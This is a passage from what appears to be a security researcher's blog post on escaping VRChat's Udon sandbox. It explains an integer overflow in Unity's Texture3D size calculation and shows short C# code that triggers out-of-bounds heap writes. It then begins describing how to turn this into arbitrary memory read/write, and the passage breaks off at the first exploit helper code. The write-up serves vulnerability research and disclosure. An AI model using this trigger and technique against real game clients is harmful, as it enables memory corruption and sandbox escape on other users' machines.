&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;public class&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Cube&lt;&#x2F;span&gt;&lt;span&gt; :&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; UdonSharpBehaviour&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    public override void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; Interact&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        Debug&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;Log&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;Stop poking me!!!&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;As long as no potentially dangerous APIs like process creation are exposed to Udon, it shouldn&#x27;t be able to escape its sandbox, right?&lt;&#x2F;p&gt;
&lt;p&gt;You&#x27;re reading this post, so obviously, there&#x27;s more to it. Like every other program, Unity isn&#x27;t perfectly written. Many of its sanity checks are there to make sure gamedevs don&#x27;t accidentally blow their feet off, not to defend against malicious users. Although Udon doesn&#x27;t expose everything, there&#x27;s still a fairly large surface area to sift through. Let&#x27;s take a closer look at one particular piece of the engine.&lt;&#x2F;p&gt;
&lt;h1 id=&quot;unity-s-textures&quot;&gt;Unity&#x27;s Textures&lt;a class=&quot;zola-anchor&quot; href=&quot;#unity-s-textures&quot; aria-label=&quot;Anchor link for: unity-s-textures&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;&#x2F;i&gt;&lt;&#x2F;a&gt; 
&lt;&#x2F;h1&gt;
&lt;p&gt;Unity&#x27;s texture classes are used for exposing direct access to texture data on the CPU and uploading them to the GPU. This is useful for dynamically creating and modifying textures without render targets or shaders, like so:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;csharp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Create a new 128x128 RGBA32 texture with no mipmaps&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;Texture2D&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; texture&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Texture2D&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;128&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 128&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; TextureFormat&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;RGBA32&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Fill it with a basic XOR pattern&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Not the most efficient way to do it, but this is just an example&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; y&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; y&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 128&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; y&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 128&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;        &#x2F;&#x2F; SetPixel takes a float color normalized from 0 to 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;        float&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; val&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;float&lt;&#x2F;span&gt;&lt;span&gt;)(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; ^&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; y&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0xFF&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        texture&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;SetPixel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;x&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; y&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Color&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;val&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; val&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; val&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 1.0f&lt;&#x2F;span&gt;&lt;span&gt;));&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Upload it to the GPU&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;texture&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;Apply&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Put the texture on the cube&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;Renderer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; renderer&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; GetComponent&lt;&#x2F;span&gt;&lt;span&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;Renderer&lt;&#x2F;span&gt;&lt;span&gt;&amp;gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;renderer&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;material&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;mainTexture&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; texture&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;vrcescape&#x2F;xorcube.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Unity&#x27;s &lt;code&gt;Texture2D&lt;&#x2F;code&gt; class caps out at a resolution of 16384px on each axis, which matches the maximum texture size of &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;opengl.gpuinfo.org&#x2F;displaycapability.php?name=GL_MAX_TEXTURE_SIZE&quot;&gt;most modern PC graphics cards today&lt;&#x2F;a&gt;. With the RGBA32 texture format, where each of the four channels is stored as a byte, this ends up being a maximum texture size of &lt;code&gt;16384 * 16384 * 4 = 1073741824 bytes (1 GB)&lt;&#x2F;code&gt; &lt;em&gt;(technically this could be higher with other pixel formats, but RGBA32 is the easiest one to work with)&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;We can go beyond 2D, too. There&#x27;s also a &lt;code&gt;Texture3D&lt;&#x2F;code&gt; class, which as the name suggests, exposes a texture with three dimensions instead of two. How exciting. Unlike the 2D version, this type of texture has a per-axis resolution limit of 2048. While that doesn&#x27;t sound like much, it adds up to an absurd amount of memory:  &lt;code&gt;2048 * 2048 * 2048 * 4 = 34359738368 bytes (32 GB!!!)&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Because I could make textures that massive, I wanted to know what would happen if I allocated a texture that had a size just over the 32-bit unsigned integer limit. This might cause some strange behavior if Unity decides to store the texture size as a 32-bit integer somewhere, but assuming that everything is working properly, it should either allocate the whole thing or refuse to make a texture that large. Let&#x27;s give it a shot:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;csharp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Create a new 2048*2048*256 RGBA32 texture with no mipmaps&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; 2048 * 2048 * 256 * 4 = 4294967296 or 0x1_0000_0000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;Texture3D&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; texture&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Texture3D&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;2048&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2048&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 256&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; TextureFormat&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;RGBA32&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; false&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; If we get to this point without throwing an exception, then it worked&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;Debug&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;Log&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;Texture created successfully&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Alright, looks like Unity&#x27;s happy with the texture!&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;vrcescape&#x2F;bigtex1.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;...but my memory usage didn&#x27;t go up after creating the texture. Hmmm...&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;vrcescape&#x2F;bigtex2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Maybe some weird lazy allocation stuff is happening? Let&#x27;s try writing a bunch of pixels to it to see if that does anything:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;csharp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; This loop will write bytes spelling out &amp;quot;ABCD&amp;quot; in ASCII contiguously to start of the texture&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; 3D textures are laid out in this order: x, y, z&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Think of it like a z-sized array of 2D x by y textures&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Remember that GetColor&#x2F;SetColor take normalized float colors, but they will be converted to RGBA32&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;Color&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; col&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; Color&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;#39;A&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 255.0f&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; &amp;#39;B&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 255.0f&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; &amp;#39;C&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 255.0f&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt; &amp;#39;D&amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 255.0f&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;for&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x1000000&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;++&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;    texture&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;SetPixel&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2048&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2048&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2048&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2048&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 2048&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; col&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;...aaaaand that nuked the heap and crashed the game. (check the register values!)&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;vrcescape&#x2F;clobbered.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;the-bug&quot;&gt;The Bug&lt;a class=&quot;zola-anchor&quot; href=&quot;#the-bug&quot; aria-label=&quot;Anchor link for: the-bug&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;&#x2F;i&gt;&lt;&#x2F;a&gt; 
&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;NOTE: If you want to play along at home or are interested in doing your own reverse engineering work, Unity has a &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;docs.unity3d.com&#x2F;Manual&#x2F;WindowsDebugging.html&quot;&gt;public symbol store&lt;&#x2F;a&gt; that provides PDBs with symbol names for most Windows Unity builds. Although the specific build VRChat used at the time doesn&#x27;t appear to be on there, &lt;code&gt;2022.3.22f1&lt;&#x2F;code&gt; is close to it and is more than enough for reverse engineering.&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;When creating a 3D texture &lt;em&gt;(see &lt;code&gt;Texture3D::InitTexture&lt;&#x2F;code&gt;)&lt;&#x2F;em&gt;, Unity passes the texture&#x27;s width, height, format, and mipmap count into a function called &lt;code&gt;ComputeTextureSize&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;vrcescape&#x2F;wtfunity1.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Notice that explicit texture size check? Not only that, but according to the disassembly, &lt;code&gt;ComputeTextureSize&lt;&#x2F;code&gt; should be returning an unsigned 64-bit integer, which should easily fit the real size of the texture with no problem. What&#x27;s up with that?&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;vrcescape&#x2F;wtfunity2.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;ComputeTextureSize&lt;&#x2F;code&gt; loops over every mipmap level of the texture and calculates the size for each level. I won&#x27;t go into full detail on how this function works because most of it is irrelevant, but the important part is here:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;vrcescape&#x2F;wtfunity3.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;The function calculates the size for each layer as a signed 32-bit integer, then sign extends the result to 64 bits before adding it to the total texture size. This is fine for figuring out if a texture is greater than 2GB but less than 4GB, since the sign extension will result in a massive unsigned 64-bit integer, failing the caller&#x27;s size check.&lt;&#x2F;p&gt;
&lt;p&gt;However, values over 4GB will wrap around due to overflow. That means on a 4GB texture with no mipmaps, &lt;code&gt;ComputeTextureSize&lt;&#x2F;code&gt; returns 0, bypassing the size check. The miscalculated size also gets used to allocate the texture buffer, leading to a trivial out-of-bounds heap read&#x2F;write primitive with a controlled offset via pixel getters and setters.&lt;&#x2F;p&gt;
&lt;p&gt;Now, with that out of the way, it&#x27;s finally time to write a full exploit!&lt;&#x2F;p&gt;
&lt;h1 id=&quot;from-out-of-bounds-to-everywhere&quot;&gt;From Out-of-Bounds to Everywhere&lt;a class=&quot;zola-anchor&quot; href=&quot;#from-out-of-bounds-to-everywhere&quot; aria-label=&quot;Anchor link for: from-out-of-bounds-to-everywhere&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;&#x2F;i&gt;&lt;&#x2F;a&gt; 
&lt;&#x2F;h1&gt;
&lt;p&gt;While an out-of-bounds heap read&#x2F;write within 4GB relative to the broken allocation is great and all, it&#x27;d be nicer be able to access memory at any address. To do this, I&#x27;ll use the OOB texture to overwrite the data pointer of another texture object, then use that texture to read&#x2F;write memory at that address.&lt;&#x2F;p&gt;
&lt;p&gt;First, a couple of helper functions to make dealing with the OOB memory primitive easier:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;csharp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Will be initialized later&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
